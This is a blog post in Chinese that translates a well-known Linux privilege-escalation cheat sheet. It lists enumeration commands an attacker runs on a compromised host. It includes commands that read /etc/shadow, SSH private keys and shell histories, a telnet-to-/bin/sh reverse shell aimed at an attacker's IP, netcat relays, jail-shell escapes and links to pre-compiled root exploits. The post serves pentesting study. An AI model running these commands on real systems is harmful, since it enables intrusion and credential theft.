欢迎来到starnight_cyber的博客

【译】Linux提权基础

英文原文: Basic Linux Privilege Escalation 

  在开始之前,我想指出 - 我不是专家。 据我所知,在这个巨大的领域没有一个“魔法”的答案。 这只是我的发现,写出来,共享而已(是我的起点)。 下面列举的项中会出现几个不同命令,都是做同样的事,在不同的场景使用可能会有不一样的亮点。我知道有更多的东西有待探索, 这只是一个基本和粗略的指导。 并不是每个命令都适用于每个系统,因为Linux版本之间有很大的不同。 "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".

枚举是关键。
(Linux)提权是关于:
收集 - 枚举,更多的枚举和一些更多的枚举。
处理 - 对数据进行排序,分析和确定优先级。
搜索 - 知道要搜索什么以及在哪里可以找到漏洞利用代码。
调整 - 自定义合适的漏洞利用代码。 并不是每个漏洞利用工作对于每个系统“开箱即用”。
尝试 - 准备好(大量)试验和错误。

操作系统

发布的是什么类型? 是什么版本?

cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based

是什么内核版本? 是64位吗?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

从环境变量中可以了解些什么? 

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

有打印机吗?

lpstat -a

应用和服务

什么服务正在运行? 哪个服务有哪个用户权限?

ps aux
ps -ef
top
cat /etc/services

哪些服务由root运行? 在这些服务中,哪些是脆弱的 - 这是值得一查的!

ps aux | grep root
ps -ef | grep root

安装了什么应用程序? 他们是什么版本? 他们当前是否正在运行? 

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

有没有服务设置错误配置? 是否附加任何(有漏洞)插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

有哪些作业调度?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

任何明文的用户名或密码?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信和网络

系统有哪些网卡? 它是否连接到另一个网络? 

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

网络配置有哪些? 你能找到关于这个网络的哪些东西? DHCP服务器? DNS服务器? 网关?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

正在与系统通信的用户和主机有哪些?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

缓存了什么? IP或MAC地址 

arp -e
route
/sbin/route -nee

是否可能进行数据包嗅探? 可以看到什么? 监听实时流量

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

你能拿到shell吗? 你可以与系统交互吗?

nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

端口转发是否可能? 跟另一个视图的流量进行重定向和交互

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

隧道是否可能? 在本地,远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户  

你是谁? 谁登录了? 谁已经登录了? 还有谁在那里? 谁能做什么? 

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

可以找到哪些敏感文件?  

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

在home目录中有什么"有趣"东西? 可以访问吗?

ls -ahlR /root/
ls -ahlR /home/

有没有密码,脚本,数据库,配置文件或日志文件? 密码的默认路径和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户在做什么? 是否有明文密码? 他们正在编辑什么? 

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到哪些用户信息?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

可以找到私钥信息吗?  

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

哪些配置文件可以写在/etc/? 能够重新配置服务吗?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/var/目录下能找到什么?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

任何设置/文件(隐藏)在网站上? 任何具有数据库信息的设置文件?  

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中有什么(有助于"本地文件包含"!)

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/ 

如果命令有限,你脱离"jail" shell?

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

文件系统是如何挂载的?

mount
df -h

是否有任何未挂载的文件系统?

cat /etc/fstab

使用了哪些"高级Linux文件权限"? 粘滞位,SUID&GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

在哪里可以写和执行? 一些常见的地方:/tmp,/var/tmp,/dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

有没有任何"问题"文件? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和寻找漏洞代码

安装/支持什么开发工具/语言?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

如何上传文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

Finding exploit code

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

 

 

posted @ 2016-12-19 14:44  starnight_cyber  阅读(1330)  评论(0编辑  收藏  举报